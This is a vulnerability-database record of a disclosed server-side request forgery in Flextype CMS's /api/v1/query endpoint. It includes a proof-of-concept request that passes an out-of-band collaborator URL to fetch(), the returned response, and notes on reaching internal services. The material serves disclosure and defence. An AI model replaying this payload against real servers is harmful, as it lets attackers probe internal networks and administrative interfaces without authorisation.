GCVE-1988-2026-0009
Vulnerability from gna-1988 β Published: 2026-09-07 06:42 β Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)
vulnerability in the expression-processing functionality exposed through
the /api/v1/query endpoint. An authenticated remote attacker can supply an
arbitrary URL to the exposed fetch() function, causing the Flextype server
to initiate an outbound HTTP request to an attacker-controlled destination.
The application does not sufficiently restrict the destination supplied to
fetch(). Testing confirmed that an attacker-controlled expression submitted
through the Query API caused the Flextype server to connect to an external
Burp Collaborator endpoint.
The HTTP response received by the Flextype server, including its status
code, response headers, and response body, was subsequently returned to the
attacker through the API response. The vulnerability therefore provides a
non-blind SSRF primitive and allows an attacker to interact with network
resources from the security context and network position of the Flextype
server.
Impact
Successful exploitation allows an authenticated remote attacker to cause
the Flextype server to initiate arbitrary server-side HTTP requests.
Because the response to the server-side request is returned through the
Query API, an attacker may potentially use the vulnerability to enumerate
and interact with HTTP services accessible from the Flextype host,
including services that are not directly accessible from the attacker's
network location.
Depending on the deployment environment and network configuration,
potential targets may include internal web applications, administrative
interfaces, loopback services, private network resources, and other
HTTP-accessible infrastructure reachable by the Flextype server.
The demonstrated vulnerability is non-blind because response data from the
requested destination is returned to the attacker.
DetailsServer-Side Request Forgery via fetch()
The /api/v1/query endpoint accepts expressions that are evaluated by the
Flextype expression-processing environment. The environment exposes a
fetch() function capable of initiating HTTP requests.
An authenticated attacker can provide an attacker-controlled URL to this
function.
The following request instructs the Flextype server to request an external
Burp Collaborator endpoint:
POST /api/v1/query HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","query":{"ssrf":"fetch('http://042--snip--.oastify.com')"}}
The server responds with the result of the outbound request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Set-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Content-Length: 269
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
Origin, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Expose:
Access-Control-Allow-Credentials: false
{"ssrf":{"reasonPhrase":"OK","statusCode":200,"headers":{"Server":["Burp
Collaborator
https://burpcollaborator.net/"],"X-Collaborator-Version":["4"],"Content-Type":["text/html"],"Content-Length":["55"]},"body":";<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"}}
The returned data identifies the destination as a Burp Collaborator server:
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Additionally, the destination's response body is returned through Flextype:
<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>
This demonstrates that the request originates from the Flextype server and
that response data is made available to the authenticated attacker.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure β’ Proof-of-Concept Development
π https://github.com/ob1sec
π https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
10 references
Impacted products
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)\nvulnerability in the expression-processing functionality exposed through\nthe /api/v1/query endpoint. An authenticated remote attacker can supply an\narbitrary URL to the exposed fetch() function, causing the Flextype server\nto initiate an outbound HTTP request to an attacker-controlled destination.\n\nThe application does not sufficiently restrict the destination supplied to\nfetch(). Testing confirmed that an attacker-controlled expression submitted\nthrough the Query API caused the Flextype server to connect to an external\nBurp Collaborator endpoint.\n\nThe HTTP response received by the Flextype server, including its status\ncode, response headers, and response body, was subsequently returned to the\nattacker through the API response. The vulnerability therefore provides a\nnon-blind SSRF primitive and allows an attacker to interact with network\nresources from the security context and network position of the Flextype\nserver.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to cause\nthe Flextype server to initiate arbitrary server-side HTTP requests.\n\nBecause the response to the server-side request is returned through the\nQuery API, an attacker may potentially use the vulnerability to enumerate\nand interact with HTTP services accessible from the Flextype host,\nincluding services that are not directly accessible from the attacker\u0027s\nnetwork location.\n\nDepending on the deployment environment and network configuration,\npotential targets may include internal web applications, administrative\ninterfaces, loopback services, private network resources, and other\nHTTP-accessible infrastructure reachable by the Flextype server.\n\nThe demonstrated vulnerability is non-blind because response data from the\nrequested destination is returned to the attacker.\nDetailsServer-Side Request Forgery via fetch()\n\nThe /api/v1/query endpoint accepts expressions that are evaluated by the\nFlextype expression-processing environment. The environment exposes a\nfetch() function capable of initiating HTTP requests.\n\nAn authenticated attacker can provide an attacker-controlled URL to this\nfunction.\n\nThe following request instructs the Flextype server to request an external\nBurp Collaborator endpoint:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"ssrf\":\"fetch(\u0027http://042--snip--.oastify.com\u0026apos;)\"}}\n\nThe server responds with the result of the outbound request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 01:49:16 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 269\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\n{\"ssrf\":{\"reasonPhrase\":\"OK\",\"statusCode\":200,\"headers\":{\"Server\":[\"Burp\nCollaborator \nhttps://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\";\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\"}}\n\nThe returned data identifies the destination as a Burp Collaborator server:\n\nServer: Burp Collaborator https://burpcollaborator.net/\nX-Collaborator-Version: 4\n\nAdditionally, the destination\u0027s response body is returned through Flextype:\n\n\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\n\nThis demonstrates that the request originates from the Flextype server and\nthat response data is made available to the authenticated attacker.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:55Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/21"
},
{
"url": "http://042--snip--.oastify.com\u0026apos"
},
{
"url": "https://burpcollaborator.net/"
},
{
"url": "https://burpcollaborator.net/\"],\"X-Collaborator-Version\":[\"4\"],\"Content-Type\":[\"text/html\"],\"Content-Length\":[\"55\"]},\"body\":\""
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/21"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0009",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21",
"automated": true,
"contentSha256": "c9e2a727f1f53efb6b4cf5be0bcca4af1eb3ca45be5286682e35f5d90167ecd2",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/21",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:16:22Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0009"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
Loadingβ¦
Loadingβ¦
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loadingβ¦
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Loadingβ¦
Loadingβ¦